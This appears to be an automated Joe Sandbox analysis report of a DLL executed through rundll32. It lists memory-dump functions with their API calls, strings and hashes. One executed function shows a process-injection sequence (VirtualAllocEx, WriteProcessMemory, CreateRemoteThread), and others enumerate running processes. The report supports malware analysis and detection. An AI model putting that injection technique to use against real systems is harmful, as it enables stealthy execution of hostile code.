Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: AddressFreeHandleLibraryModuleProc
String ID: CorExitProcess$mscoree.dll
API String ID: 4061214504-1276376045
Opcode ID: c970d15527f8f6e660b5234528be61620e9f73803ea0b4106ac94b8a677c7c66
Instruction ID: 097023b2cbdfde49c40b6fd13eaac2af1dcb66600fa14bccd34a4fbafceb32a9
Opcode Fuzzy Hash: c970d15527f8f6e660b5234528be61620e9f73803ea0b4106ac94b8a677c7c66
Instruction Fuzzy Hash: DCF05E71312A08C1FF878B51E8903A923A0BF8CBD1F849416B94B46564DF78C68CC754

Function 000000018001F5E8 Relevance: 7.7, APIs: 5, Instructions: 203COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 000000018001F629
GetConsoleMode.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018001F5A7,?,?,?,000000018001B29B), ref: 000000018001F6E8
GetLastError.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018001F5A7,?,?,?,000000018001B29B), ref: 000000018001F768

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ConsoleErrorLastMode_invalid_parameter_noinfo
String ID:
API String ID: 2210144848-0
Opcode ID: ae99e38dd02a7261c2c6d0b8c86bc1feb708f17d4f9d531f33e9b478c84040dc
Instruction ID: 43e1545d8c5255d8e9e05e60bcd817678180781a84b7e28a742c8e887bc3ca2c
Opcode Fuzzy Hash: ae99e38dd02a7261c2c6d0b8c86bc1feb708f17d4f9d531f33e9b478c84040dc
Instruction Fuzzy Hash: 5381AC36614E0899FBA6AB6588907FD27A0F74CBD8F44C216FE0A537E6DF348649C710

Function 000000018000AF50 Relevance: 7.7, APIs: 5, Instructions: 170COMMON

Download Yara Rule

APIs

DeleteCriticalSection.KERNEL32 ref: 000000018000B033

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CriticalDeleteSection
String ID:
API String ID: 166494926-0
Opcode ID: 5373f7ee083048d533c2520517f7528c1624526d471f4ab200540c9a635c08b2
Instruction ID: dd4fd535904e7d2e3bf020242418357b7c47115a4b5646b1bba01b7941aee057
Opcode Fuzzy Hash: 5373f7ee083048d533c2520517f7528c1624526d471f4ab200540c9a635c08b2
Instruction Fuzzy Hash: 2B715E76205A4982EBA2CF11E4503EA73A1F748BD4F44C121FF5A87B94DF38CA99CB40

Function 00000001800204A4 Relevance: 7.6, APIs: 5, Instructions: 56COMMONLIBRARYCODE

Download Yara Rule

APIs

_set_statfp.LIBCMT ref: 00000001800204CC
_set_statfp.LIBCMT ref: 00000001800204E7
_set_statfp.LIBCMT ref: 0000000180020503
_set_statfp.LIBCMT ref: 000000018002053F

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _set_statfp
String ID:
API String ID: 1156100317-0
Opcode ID: c8fa3015a8f78404e409fe4dc9b2444ced030e897441c29de37c84fe9791c269
Instruction ID: ee68135ad0318bf899fcee127a736d73ab127c04b409baee4b92e69e90382910
Opcode Fuzzy Hash: c8fa3015a8f78404e409fe4dc9b2444ced030e897441c29de37c84fe9791c269
Instruction Fuzzy Hash: 25118672A50F2D06F6E72124E5453EA23416F5C3F4F74C635BB76066EB8F688B494710

Function 0000000180012930 Relevance: 7.1, APIs: 2, Strings: 2, Instructions: 147COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180012965
_invalid_parameter_noinfo.LIBCMT ref: 0000000180012B31

Strings

, xrefs: 0000000180012ABA
*, xrefs: 0000000180012A65

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: $*
API String ID: 3215553584-3982473090
Opcode ID: 9186edf46071ac7533fb7cf782ed455da096df7baf0855607552a5d5df96310d
Instruction ID: 125fdf878ed4e9d4e426cfd5b2beb0a108ce8d10c15bd92bf3be489b5dcf0de5
Opcode Fuzzy Hash: 9186edf46071ac7533fb7cf782ed455da096df7baf0855607552a5d5df96310d
Instruction Fuzzy Hash: AD619572114A48CBE7FB8F2884583ED3BA1F71DB89F589115E642422D9EF34C6A9C712

Function 0000000180017B48 Relevance: 7.1, APIs: 1, Strings: 3, Instructions: 134COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180017B8B

Strings

-, xrefs: 0000000180017C82
gfff, xrefs: 0000000180017CAD
e+000, xrefs: 0000000180017C30

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: -$e+000$gfff
API String ID: 3215553584-2620144452
Opcode ID: 89bcca44b9417b92e0e855a4c2a87eb63b9814be5d57bd85a874d2708c334544
Instruction ID: 13859a5dffa2dfe0d72762436a3d161302fe7da5c4d514db1a47257b8f061b63
Opcode Fuzzy Hash: 89bcca44b9417b92e0e855a4c2a87eb63b9814be5d57bd85a874d2708c334544
Instruction Fuzzy Hash: 1151F872714BC886E7A68F39D8413D97BA1E389BD0F48D225E79847BD6DF28C648C701

Function 0000000180008970 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180008B46
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180008B4C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180008B52

Strings

type_error, xrefs: 00000001800089BC

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: type_error
API String ID: 3668304517-1406221190
Opcode ID: b058222c2227ea872afc5b32253dd9d732f9db9df698ff926845857dbda95bdf
Instruction ID: 50e7e856241c09585bb2cc6510c892539a9e3a75e16386a5cbf54137d8a88b63
Opcode Fuzzy Hash: b058222c2227ea872afc5b32253dd9d732f9db9df698ff926845857dbda95bdf
Instruction Fuzzy Hash: C1518372615B8881FA56CB28E45539A7361FB8D7E4F509311FAAC43BDADF78C288C700

Function 0000000180008780 Relevance: 7.1, APIs: 3, Strings: 1, Instructions: 123COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180008956
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 000000018000895C
_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180008962

Strings

other_error, xrefs: 00000001800087CC

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo_noreturn
String ID: other_error
API String ID: 3668304517-896093151
Opcode ID: 5ba4ad6ed8a819c74eaac1de025b926ab0507947bee0665e1cccbb221e2935cc
Instruction ID: 4fd34da277bcb81ba046d36130df483134f3035bbd1b9093707cb17488f3b066
Opcode Fuzzy Hash: 5ba4ad6ed8a819c74eaac1de025b926ab0507947bee0665e1cccbb221e2935cc
Instruction Fuzzy Hash: 14518F72614B8881EA56DB28E44539A7361FB897E4F50D311FAAC436EADF78C288C700

Function 0000000180012B3C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 171COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo.LIBCMT ref: 0000000180012B74
_invalid_parameter_noinfo.LIBCMT ref: 0000000180012DAE

Strings

*, xrefs: 0000000180012C81

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: _invalid_parameter_noinfo
String ID: *
API String ID: 3215553584-163128923
Opcode ID: 0001f2f73bd4214c56874a2a435943038f335403b12da021ec391d38b407e24e
Instruction ID: d001ba0e656f52b9c6e5173e784844ecc945baa90473546c5ec452aaff2b905b
Opcode Fuzzy Hash: 0001f2f73bd4214c56874a2a435943038f335403b12da021ec391d38b407e24e
Instruction Fuzzy Hash: 6E719272104A1886E7EA8F28D0443EC3BB0F30DF98F249116EF4642399EF70C6AAD754

Function 0000000180002900 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 118COMMON

Download Yara Rule

APIs

_invalid_parameter_noinfo_noreturn.LIBCMT ref: 0000000180002A64
_CxxThrowException.LIBVCRUNTIME ref: 0000000180002AB6

Part of subcall function 000000018000EB58: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018000E45B), ref: 000000018000EBCD
Part of subcall function 000000018000EB58: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018000E45B), ref: 000000018000EBFF

Strings

cannot use operator[] with a string argument with , xrefs: 0000000180002A83

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Exception$FileHeaderRaiseThrow_invalid_parameter_noinfo_noreturn
String ID: cannot use operator[] with a string argument with
API String ID: 1611749442-2766135566
Opcode ID: a7add5ded4a20cda95b4b3d60da19fa7128c3acf4876b3aa335c0ca9d770390e
Instruction ID: a30ffc925e730f63cc89c35fc74b905e988506043f62fa4a043d6612cf840508
Opcode Fuzzy Hash: a7add5ded4a20cda95b4b3d60da19fa7128c3acf4876b3aa335c0ca9d770390e
Instruction Fuzzy Hash: 6641B272204AC891EA92DB25E5103DE7761F78D7E0F549212FBAD07ADADF68C689C700

Function 000000018001F38C Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 100fileCOMMON

Download Yara Rule

APIs

WriteFile.KERNEL32 ref: 000000018001F4A3
GetLastError.KERNEL32 ref: 000000018001F4C5

Strings

U, xrefs: 000000018001F44F

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: ErrorFileLastWrite
String ID: U
API String ID: 442123175-4171548499
Opcode ID: 2f6bac117e9c64a28ee378ede8fe7d4062f245215970e72067292429a2ecbe3c
Instruction ID: e9215d547afdfb7ae36bb631c58771267b4e59003a7ed33eb167d21669a8df37
Opcode Fuzzy Hash: 2f6bac117e9c64a28ee378ede8fe7d4062f245215970e72067292429a2ecbe3c
Instruction Fuzzy Hash: 95418272715A4882EBA18F65E8443EA7761F7987D4F858021FE8D87798DF3CC649C740

Function 000000018001AA90 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 50COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000000018001AAC9
LCMapStringW.KERNEL32 ref: 000000018001AB51

Strings

LCMapStringEx, xrefs: 000000018001AAAC, 000000018001AABD

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Stringtry_get_function
String ID: LCMapStringEx
API String ID: 2588686239-3893581201
Opcode ID: aa136470c04f54750922b3b7d9728b3fa1d52aa7221cecf1e4fbf481d35cdd9f
Instruction ID: 1426e9033e083328d810d4c964af1471415f2e4abc38788602fc3b5fa8da82aa
Opcode Fuzzy Hash: aa136470c04f54750922b3b7d9728b3fa1d52aa7221cecf1e4fbf481d35cdd9f
Instruction Fuzzy Hash: 0D11F736608B8486D7A2CB56B4803DAB7A5F7CDBD0F548126EE8D83B59DF38C6448B00

Function 000000018001AA2C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 25COMMON

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000000018001AA5D
InitializeCriticalSectionAndSpinCount.KERNEL32(?,?,00000003,0000000180018431), ref: 000000018001AA77

Strings

InitializeCriticalSectionEx, xrefs: 000000018001AA3E, 000000018001AA51

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: CountCriticalInitializeSectionSpintry_get_function
String ID: InitializeCriticalSectionEx
API String ID: 539475747-3084827643
Opcode ID: 3f45dbee98766fe5468453c05f38d203438228ec095d9aa51e92474b39c22aad
Instruction ID: b60cf378d3302ced2315405eddc9469e8ecac8c086673f686eb128210d48837b
Opcode Fuzzy Hash: 3f45dbee98766fe5468453c05f38d203438228ec095d9aa51e92474b39c22aad
Instruction Fuzzy Hash: 83F05E35205B8881FB878B82B5407E52364BB4DBC0F88D025F95A03B54CF38C64DC744

Function 000000018001A9D8 Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000000018001AA01
TlsSetValue.KERNEL32(?,?,0000EABB3B49FBAC,0000000180016B42,?,?,0000EABB3B49FBAC,0000000180011C25,?,?,?,?,0000000180016D36,?,?,00000000), ref: 000000018001AA18

Strings

FlsSetValue, xrefs: 000000018001A9E5, 000000018001A9EE

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: fe28caa2cce135917cb9ddf218cb5b10bc14cf2eff41ae8af3362b4de2454d38
Instruction ID: 7f3b35c752c21757f1db10fb95d949ab252f13624666dd095f9e840542a688eb
Opcode Fuzzy Hash: fe28caa2cce135917cb9ddf218cb5b10bc14cf2eff41ae8af3362b4de2454d38
Instruction Fuzzy Hash: 8BE092B1204A4891FF874B90F5503E56322AB4C7D0F88D022BD0906396CF38CB8CC300

Function 000000018001AB6C Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 000000018001AB95
__crtDownlevelLocaleNameToLCID.LIBCPMT ref: 000000018001ABAC

Strings

LocaleNameToLCID, xrefs: 000000018001AB78, 000000018001AB82

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: DownlevelLocaleName__crttry_get_function
String ID: LocaleNameToLCID
API String ID: 404522899-2050040251
Opcode ID: 753a1e2ca4a7c4e14edabfe687945710c6edb93721609b4771d2433c241a515f
Instruction ID: 5b4ece58d35bd8437c3b79418c835bfcfaf0ac31156dd0188a9fb0c6fc65be12
Opcode Fuzzy Hash: 753a1e2ca4a7c4e14edabfe687945710c6edb93721609b4771d2433c241a515f
Instruction Fuzzy Hash: 9AE01235219A4895FB879B95F5913E93362AB8D7C0F98D022F91906396CF38CB4DC714

Function 00000001800116DC Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 21COMMONLIBRARYCODE

Download Yara Rule

APIs

try_get_function.LIBVCRUNTIME ref: 0000000180011705
TlsSetValue.KERNEL32(?,?,00000000,000000018000FCFA,?,?,?,000000018000FC95,?,?,?,?,000000018000F1AA), ref: 000000018001171C

Strings

FlsSetValue, xrefs: 00000001800116E9, 00000001800116F2

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Valuetry_get_function
String ID: FlsSetValue
API String ID: 738293619-3750699315
Opcode ID: 22eeb772723b431fdf52d06708df64909394b7b854e5ab45bda407cd80ffd7de
Instruction ID: 3cc47aad495fecb8ad6987c83b9020599e1b3a5e6568dcd32a85816c8cc3edcb
Opcode Fuzzy Hash: 22eeb772723b431fdf52d06708df64909394b7b854e5ab45bda407cd80ffd7de
Instruction Fuzzy Hash: 30E092B5604A0892EBDB4B50F4847D42361AB4C7E1F48D026B95D063D5CE38CB8CD354

Function 0000000180023C70 Relevance: 5.1, APIs: 4, Instructions: 92COMMON

Download Yara Rule

APIs

_CxxThrowException.LIBVCRUNTIME ref: 0000000180023C8E

Part of subcall function 000000018000EB58: RtlPcToFileHeader.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018000E45B), ref: 000000018000EBCD
Part of subcall function 000000018000EB58: RaiseException.KERNEL32(?,?,?,?,?,?,?,?,?,?,?,000000018000E45B), ref: 000000018000EBFF

_CxxThrowException.LIBVCRUNTIME ref: 0000000180023CBE
_CxxThrowException.LIBVCRUNTIME ref: 0000000180023CEE
_CxxThrowException.LIBVCRUNTIME ref: 0000000180023D1A

Memory Dump Source

Source File: 00000006.00000002.1818190772.0000000180001000.00000020.00000001.01000000.00000003.sdmp, Offset: 0000000180000000, based on PE: true

Associated: 00000006.00000002.1818173972.0000000180000000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818215693.0000000180025000.00000002.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818251018.0000000180038000.00000004.00000001.01000000.00000003.sdmpDownload File
Associated: 00000006.00000002.1818268281.000000018003B000.00000002.00000001.01000000.00000003.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_6_2_180000000_rundll32.jbxd

Similarity

API ID: Exception$Throw$FileHeaderRaise
String ID:
API String ID: 3102897148-0
Opcode ID: a055ed6aad9b63c0af86c8a89e4476d6b23f75f41965a51dd8ecfe93ef93ad13
Instruction ID: d5fbad0a112b75453b16c0a490e34593e3ae9bf60d8b6f67d57a8b7cc3e1bdf6
Opcode Fuzzy Hash: a055ed6aad9b63c0af86c8a89e4476d6b23f75f41965a51dd8ecfe93ef93ad13
Instruction Fuzzy Hash: A0118F76710A888AE75EFE3298523EA3321EB987C4F14D435FA5E4BA9ADF24C5164300

Analysis Process: rundll32.exePID: 7320, Parent PID: 6632COMMON

Execution Graph

Execution Coverage:	6.4%
Dynamic/Decrypted Code Coverage:	100%
Signature Coverage:	4.9%
Total number of Nodes:	245
Total number of Limit Nodes:	22

Executed Functions

Function 000000026E7A1370 Relevance: 10.6, APIs: 5, Strings: 1, Instructions: 62
injectionsleepmemoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

Sleep.KERNEL32 ref: 000000026E7A138F
VirtualAllocEx.KERNEL32 ref: 000000026E7A13B1
WriteProcessMemory.KERNEL32 ref: 000000026E7A13E6
CreateRemoteThread.KERNEL32 ref: 000000026E7A141B
WaitForSingleObject.KERNEL32 ref: 000000026E7A1436

Strings

@, xrefs: 000000026E7A1395

Memory Dump Source

Source File: 00000012.00000002.2937147216.000000026E7A1000.00000040.00001000.00020000.00000000.sdmp, Offset: 000000026E7A0000, based on PE: true

Associated: 00000012.00000002.2937105023.000000026E7A0000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000012.00000002.2937147216.000000026E7E5000.00000040.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_2_26e7a0000_rundll32.jbxd

Similarity

API ID: AllocCreateMemoryObjectProcessRemoteSingleSleepThreadVirtualWaitWrite
String ID: @
API String ID: 3172812169-2766056989
Opcode ID: 0eb28147f580e3073132cd4857f7339373183e42c4e03efc949c79a274ad3264
Instruction ID: 9740b8a67545548af73fc701d4c0f3df214f93be1b9708ce57f24a6a41fb1eaa
Opcode Fuzzy Hash: 0eb28147f580e3073132cd4857f7339373183e42c4e03efc949c79a274ad3264
Instruction Fuzzy Hash: 7811B47531575046FA528FAAAC08756A694B789FF0F454338AF79077D4DF39C10A8704

Function 00007DF4F0240100 Relevance: 7.2, APIs: 3, Strings: 1, Instructions: 214COMMON

Download Yara Rule

Strings

@, xrefs: 00007DF4F0240237

Memory Dump Source

Source File: 00000012.00000003.1867228523.00007DF4F0240000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4F0240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_7df4f0240000_rundll32.jbxd

Similarity

API ID: CreateSnapshotToolhelp32
String ID: @
API String ID: 3332741929-2766056989
Opcode ID: a244b4c46065a0b172c05969a3639a80dbbfb73a6b591c48ef82bced5c87c14f
Instruction ID: 4c9a43d86eb8ec3fa90282b683007a6ef1a59bf84b1eafae76d939d2cbb38f15
Opcode Fuzzy Hash: a244b4c46065a0b172c05969a3639a80dbbfb73a6b591c48ef82bced5c87c14f
Instruction Fuzzy Hash: 9771D03161494C8FEF94EF5CC898BA937E1FB98315F10462AE81EC72A1DB74D994CB80

Function 00007DF4F0240000 Relevance: 4.6, APIs: 3, Instructions: 88processCOMMON

Download Yara Rule

APIs

CreateToolhelp32Snapshot.KERNEL32 ref: 00007DF4F0240052
Process32First.KERNEL32 ref: 00007DF4F024008B

Memory Dump Source

Source File: 00000012.00000003.1867228523.00007DF4F0240000.00000020.00001000.00020000.00000000.sdmp, Offset: 00007DF4F0240000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_7df4f0240000_rundll32.jbxd

Similarity

API ID: CreateFirstProcess32SnapshotToolhelp32
String ID:
API String ID: 2353314856-0
Opcode ID: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction ID: 1f51d84387a7173b391353be83027292ec1b2063b66d30f797416cb60d0907b9
Opcode Fuzzy Hash: 7b76749183c32904e7c867cae929a431087f8f66ce00ca14fd6eade76c102862
Instruction Fuzzy Hash: C121DF3461494C8FEBA5EB6CCC98BEA37E1FBA8310F404226D41EDB290DE75DE848750

Function 000002921300D2AC Relevance: .0, Instructions: 43COMMON

Download Yara Rule

Memory Dump Source

Source File: 00000012.00000003.1799236503.0000029212FD0000.00000040.00001000.00020000.00000000.sdmp, Offset: 0000029212FD0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_18_3_29212fd0000_rundll32.jbxd

Similarity

API ID:
String ID:
API String ID:
Opcode ID: 4f8c2193cd15d56b920b71f0a62798233d7bc621eaf68b72cfb2e802f18a24de
